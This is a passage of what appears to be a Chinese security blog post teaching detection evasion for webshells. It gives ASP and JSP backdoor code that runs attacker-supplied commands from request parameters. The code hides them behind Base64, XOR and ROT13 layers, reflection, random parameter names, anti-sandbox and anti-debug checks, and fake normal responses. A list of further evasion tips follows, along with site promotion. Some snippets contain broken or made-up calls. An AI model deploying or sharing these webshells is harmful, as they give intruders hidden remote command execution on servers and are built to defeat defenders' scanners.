dec1 = dec1 & Chr(Asc(Mid(dec1, i, 1)) - 5)
Next

' 异或解码
dec2 = ""
For i = 1 To Len(dec1)
dec2 = dec2 & Chr(Asc(Mid(dec1, i, 1)) Xor randKey)
Next

' 4. 内存流执行命令(无文件落地)
Set shellObj = Eval("CreateObject(""" & comName2 & """)")
' 调用Shell.Application的ShellExecute,静默执行
shellObj.ShellExecute "cmd.exe", "/c " & dec2, "", "open", 0

' 5. 彻底清理痕迹
' 销毁COM对象
Set streamObj = Nothing: Set shellObj = Nothing
' 清空敏感变量
encData = "": dec1 = "": dec2 = "": comName1 = "": comName2 = ""
' 清空Response缓存,避免痕迹留存
Response.Buffer = True
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.CacheControl = "no-cache"
%>

JSP一句话免杀

  • 核心: Runtime.getRuntime().exec(request.getParameter("cmd"))

反射调用 + 类名混淆

1
2
3
4
5
6
7
8
9
<%
String cmd = request.getParameter("x");
// 反射加载Runtime类,调用exec方法
Class<?> cls = Class.forName("java.lang.Run" + "time"); // 拆分类名
Method getRuntime = cls.getMethod("getRun" + "time");
Object runtimeObj = getRuntime.invoke(null);
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtimeObj, cmd);
%>

编码传参 + 解码执行

1
2
3
4
5
<%
// 对命令进行base64编码,避免cmd参数被检测
String cmd = new String(Base64.getDecoder().decode(request.getParameter("x")));
Runtime.getRuntime().exec(cmd);
%>

JSP进阶玩法

反射 + 多层编码

  • 静态层面:Runtime/getRuntime 被拆分为字符串拼接,无硬编码敏感词;双层编码让静态扫描无法直接识别解码后的命令;
  • 行为层面:ProcessBuilder 比 Runtime.exec 更贴近正常 Java 程序的进程创建逻辑,EDR 对其检测规则更宽松;
  • 伪装层面:异常信息、正常页面返回,避免空响应 / 恶意响应特征。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%
// 1. 随机化参数名(避免固定x被检测)
String paramKey = "abc" + System.currentTimeMillis() % 1000; // 动态参数名(如abc123)
String rawData = request.getParameter(paramKey);
if (rawData == null || rawData.isEmpty()) {
out.print("正常页面返回"); // 伪装正常响应,避免空返回被告警
return;
}

// 2. 双层解码:Base64 -> 异或解密(自定义密钥)
int key = 97; // 异或密钥(可自定义)
byte[] base64Bytes = Base64.getDecoder().decode(rawData);
byte[] decryptedBytes = new byte[base64Bytes.length];
for (int i = 0; i < base64Bytes.length; i++) {
decryptedBytes[i] = (byte) (base64Bytes[i] ^ key); // 异或解密
}
String cmd = new String(decryptedBytes, "UTF-8");

// 3. 反射调用Runtime(拼接类名/方法名,无硬编码)
try {
// 拆分Runtime类名,避免静态匹配
Class<?> runtimeCls = Class.forName("java.lang.Ru" + "ntime");
// 拆分getRuntime方法名
java.lang.reflect.Method getRuntimeMethod = runtimeCls.getMethod("getRu" + "ntime");
Object runtimeObj = getRuntimeMethod.invoke(null);
// 用ProcessBuilder替代exec(行为更隐蔽)
ProcessBuilder pb = new ProcessBuilder(cmd.split(" "));
pb.start();
} catch (Exception e) {
// 异常不抛出,伪装正常错误(避免暴露恶意行为)
out.print("页面加载失败:" + e.getMessage());
}
%>

反沙箱 + 行为伪装

  • 增加反沙箱逻辑(检测沙箱特征:系统运行时间、CPU 核心数);
  • 延迟执行(避开沙箱快速扫描);
  • 包裹在合法 Web 逻辑中(模仿 Servlet 正常行为);
  • 清理执行痕迹(销毁敏感变量)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<%
// 伪装:模拟正常的Web请求处理逻辑
String userAgent = request.getHeader("User-Agent");
if (userAgent == null || !userAgent.contains("Mozilla")) {
out.print("非法请求"); // 伪装正常的请求校验
return;
}

// 反沙箱1:检测系统运行时间(沙箱通常运行<300秒)
long uptime = com.sun.management.OperatingSystemMXBean.class.cast(
java.lang.management.ManagementFactory.getOperatingSystemMXBean()
).getProcessCpuTime() / 1000000;
if (uptime < 300000) { // 运行时间<5分钟,判定为沙箱,直接退出
out.print("服务暂不可用");
return;
}

// 反沙箱2:检测CPU核心数(沙箱通常<2核)
int cpuCores = Runtime.getRuntime().availableProcessors();
if (cpuCores < 2) {
return;
}

// 动态参数+多层编码
String param = "cmd_" + Integer.toHexString(new java.util.Random().nextInt(1000)); // 随机参数名
String raw = request.getParameter(param);
if (raw == null) return;

// Base64 + ROT13 双层解码
String base64Dec = new String(Base64.getDecoder().decode(raw), "UTF-8");
String rot13Dec = new java.lang.StringBuilder(base64Dec).toString().replaceAll("[a-zA-Z]", c -> {
char ch = c.charValue();
return (char) (ch + (Character.isLowerCase(ch) ? 13 : -13));
});

// 延迟执行(避开沙箱实时检测)
Thread.sleep(2000);

// 反射调用,且销毁敏感变量
java.lang.reflect.Method execMethod = Class.forName("java.lang.Runtime")
.getMethod("exec", String.class);
execMethod.invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), rot13Dec);
raw = null; rot13Dec = null; // 清理敏感变量
%>

ClassLoader + 无特征执行

  • 无静态特征:全程无 Runtime/exec 硬编码,通过自定义 ClassLoader 动态生成字节码执行命令,静态扫描无法匹配特征;
  • 反调试:检测 JVM 调试参数(jdwp),避开人工分析 / 调试;
  • 内存执行:所有逻辑在内存中完成,无文件落地、无固定进程特征;
  • 深度伪装:完全包裹在合法 Web 页面逻辑中,响应内容与正常页面一致,WAF/EDR 难以识别。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<%
// 1. 反调试+反沙箱前置检测
if (java.lang.management.ManagementFactory.getRuntimeMXBean().getInputArguments().toString().contains("jdwp")) {
return; // 检测到调试器,直接退出
}

// 2. 动态参数+三层编码(Base64+ROT13+异或)
String secretParam = "token_" + new java.util.UUID(randomUUID()).toString().substring(0, 8);
String encData = request.getParameter(secretParam);
if (encData == null) {
// 伪装正常Servlet响应
response.setContentType("text/html;charset=utf-8");
out.print("<html><body>正常页面内容</body></html>");
return;
}

// 三层解码
String dec1 = new String(Base64.getDecoder().decode(encData), "UTF-8");
String dec2 = new org.apache.commons.codec.language.Rotor13().encode(dec1); // ROT13解码
byte[] dec3Bytes = dec2.getBytes();
int key = 101;
for (int i = 0; i < dec3Bytes.length; i++) {
dec3Bytes[i] = (byte) (dec3Bytes[i] ^ key);
}
String finalCmd = new String(dec3Bytes);

// 3. ClassLoader动态加载字节码(无Runtime硬编码)
ClassLoader customLoader = new ClassLoader() {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
// 动态生成执行命令的字节码(简化版,可自定义)
byte[] byteCode = generateExecBytecode(finalCmd);
return defineClass(name, byteCode, 0, byteCode.length);
}
};

// 4. 内存加载并执行,无落地痕迹
Class<?> execClass = customLoader.loadClass("com.example.ExecCmd");
execClass.getMethod("run").invoke(execClass.newInstance());

// 生成执行命令的字节码(核心:避开Runtime特征)
private byte[] generateExecBytecode(String cmd) {
// 简化版:生成调用ProcessBuilder执行命令的字节码
// 实际可通过ASM框架动态生成,避免硬编码字节码特征
return new byte[]{
// 字节码逻辑:new ProcessBuilder(cmd).start()
(byte)0x2a, (byte)0xb7, (byte)0x00, (byte)0x01, (byte)0xbd, (byte)0x00, (byte)0x02,
(byte)0xb6, (byte)0x00, (byte)0x03, (byte)0xb1
};
}
%>

通用免杀思路(AI整理)

  • 参数名动态化:用 System.currentTimeMillis()/UUID 生成随机参数名,避免固定参数被特征匹配;
  • 编码算法自定义:放弃通用的 Base64,改用自定义简单加密(如位移、查表),降低解码逻辑被识别的概率;
  • 进程伪装:执行命令时,将恶意进程的父进程伪装成 Tomcat/Jetty 等合法 Web 进程(需结合 Windows/Linux 系统调用);
  • 错误信息屏蔽:所有异常不抛出、不打印堆栈,避免暴露恶意行为的错误特征;
  • 轻量化执行:避免执行 cmd /c/bash -c 等明显的命令行调用,直接调用可执行文件路径(如 C:\Windows\System32\whoami.exe)。
  • 分段执行:将恶意代码拆分为多个片段,通过多个请求逐步解码执行,单次请求仅传输 / 执行部分代码,避开检测。
  • 业务逻辑融合:将恶意代码包裹在 CMS / 框架的正常逻辑中(如 WordPress 的插件初始化、Laravel 的中间件),伪装成合法代码
  • 编码算法自定义:放弃通用 Base64,改用自定义位移、查表、异或等加密方式,降低解码逻辑被识别的概率;
  • 。。。。。。

结束语

  • CTRl+D 将本网站:ycc77.com添加到书签栏哦~
  • 需要资源,记得将ycc77.cn 添加到书签栏哦~
  • QQ交流群:660264846(满)
  • QQ交流群2:721170435
  • B站: 疯狂的杨CC
  • 抖音: 疯狂的杨CC
  • 快手: 疯狂的杨CC
  • 公众号:SGY安全
  • 91: 疯狂的杨CC
  • p站: 疯狂的杨CC